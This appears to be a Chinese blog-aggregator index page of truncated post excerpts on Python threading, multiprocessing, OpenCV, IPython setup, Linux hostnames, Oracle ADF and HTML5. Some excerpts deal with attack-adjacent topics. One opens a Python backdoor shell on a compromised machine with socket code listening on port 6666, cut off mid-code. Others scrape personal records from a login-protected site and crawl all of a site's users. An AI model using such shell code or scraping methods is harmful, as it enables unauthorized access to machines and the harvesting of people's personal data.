我们以学信网为例爬取个人信息**如果看不清楚按照以下步骤:**1.火狐为例打开需要登录的网页�C>F12开发者模式(鼠标右击,点击检查元素)�C点击网络�C>需要登录的页面登录下�C>点击网络找到一个POST提交的链接点击�C>找到post(注意该post中信息就是我们提交时需要构造的表单信息)importrequestsfrombs4importBeautifulSoupfromhttpimportcookiesimporturllibimporthtt
系统 2019-09-27 17:57:26 2421
python代码的执行由python虚拟机来控制,虚拟机访问由GIL控制,保证其同一时刻只有一条线程运行。虽然python能运行多线程,但是因为GIL所以同一时刻只有一条线程在python解释器运行。多线程下python虚拟机按以下方式执行:1.设置GIL2.切换到一条线程去运行3.运行:a.执行python2虚拟机运行1000字节指令或者执行python3虚拟机运行时间15ms字节b.线程主动让出控制(遭遇sleep或者IO操作也将触发)4.把线程设置为
系统 2019-09-27 17:57:05 2421
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:31 2421
"""问题:当多个进程使用同一份数据资源的时候,就会引发数据安全或顺序混乱的问题"""'''进程同步'''#多进程抢占输出资源importosimporttimeimportrandomfrommultiprocessingimportProcessdefwork(n):print(f'{n}:{os.getpid()}isrunning')#time.sleep(random.random())time.sleep(2)print(f"{n}:{os.g
系统 2019-09-27 17:56:01 2421
最近在公司疯狂做Demo,最近需要使用cv2里的视频操作,之前一直也没放在心上,借这次机会好好研究一下吧。此外,吐槽一句,做Demo前最好大家统一一下所用的环境。Opencv-Pyhton2.x与3.x会存在部分属性函数名的修改,到时候debug就十分的繁琐。至于两者的区别,可以看看文章末尾的参考资料。本文所使用的环境为:Python2.7,Opencv-Python3.4.0目录获取并展示视频保存视频常用方法1.获取视频importcv2#创建Video
系统 2019-09-27 17:55:49 2421
获取全站用户,理论来说从1个用户作为切入点就可以,我们需要爬取用户的关注列表,从关注列表不断的叠加下去。随便打开一个用户的个人中心绿色圆圈里面的都是我们想要采集到的信息。这个用户关注0人?那么你还需要继续找一个入口,这个用户一定要关注了别人。选择关注列表,是为了让数据有价值,因为关注者里面可能大量的小号或者不活跃的账号,价值不大。我选了这样一个入口页面,它关注了3个人,你也可以选择多一些的,这个没有太大影响!https://juejin.im/user/5
系统 2019-09-27 17:55:41 2421
效果图walker喜欢的功能:代码补全,一个问号(?)给出注释,两个问号浏览代码。环境操作系统:Windows10x641903Python3.6.7x64JupyterQtConsole4.5.2(官方文档)步骤安装ipythonpip3installipython-ihttps://pypi.doubanio.com/simple/安装pyreadlinepip3installpyreadline-ihttps://pypi.doubanio.com/
系统 2019-09-27 17:54:09 2421
一直以来被Linux的hostname和fqdn(FullyQualifiedDomainName)困惑了好久,今天专门抽时间把它们的使用细节弄清了。一、设置hostname/fqdn在Linux系统内设置hostname很简单,如:$hostnameflorian如果要设置fqdn的话,需要对/etc/hosts进行配置。$cat/etc/hosts127.0.0.1localhost192.168.1.1florian.test.comflorian/
系统 2019-09-27 17:38:33 2421
ADF是(ApplicationDevelopmentFramework)的简称,它的前身是BC4J。光听这个名字就知道它是一个end-to-end的框架。和Spring一样它在企业应用架构的每一个层次都提供了它的支持。ADF的架构如下图所示:在每一层ADF都有它的一些组件。我这次主要想讲讲ADF的databinding,因为它隔离了业务逻辑层和web层,使得两个层次的独立性更强。但是,ADF似乎做得过于复杂,使得很难上手使用。ADF中关键的数据绑定概念如
系统 2019-08-29 23:52:22 2421
前言互联网发展到现在,早已超越了原始的初衷,人类从来没有像现在这样依赖过他;也正是这种依赖,促进了互联网技术的飞速发展。而终端设备的创新与发展,更加速了互联网的进化;HTTP/1.1规范发布于1999年,同年12月24日,HTML4.01规范发布;尽管已到2012年,但HTML4.01仍是主流;虽然HTML5的草案已出现了好几个年头,但转正日期,遥遥无期,少则三五年,多则数十年;而HTML5的客户代理(对于一般用户而言,就是浏览器),则已百家争鸣,星星向荣
系统 2019-08-29 23:45:57 2421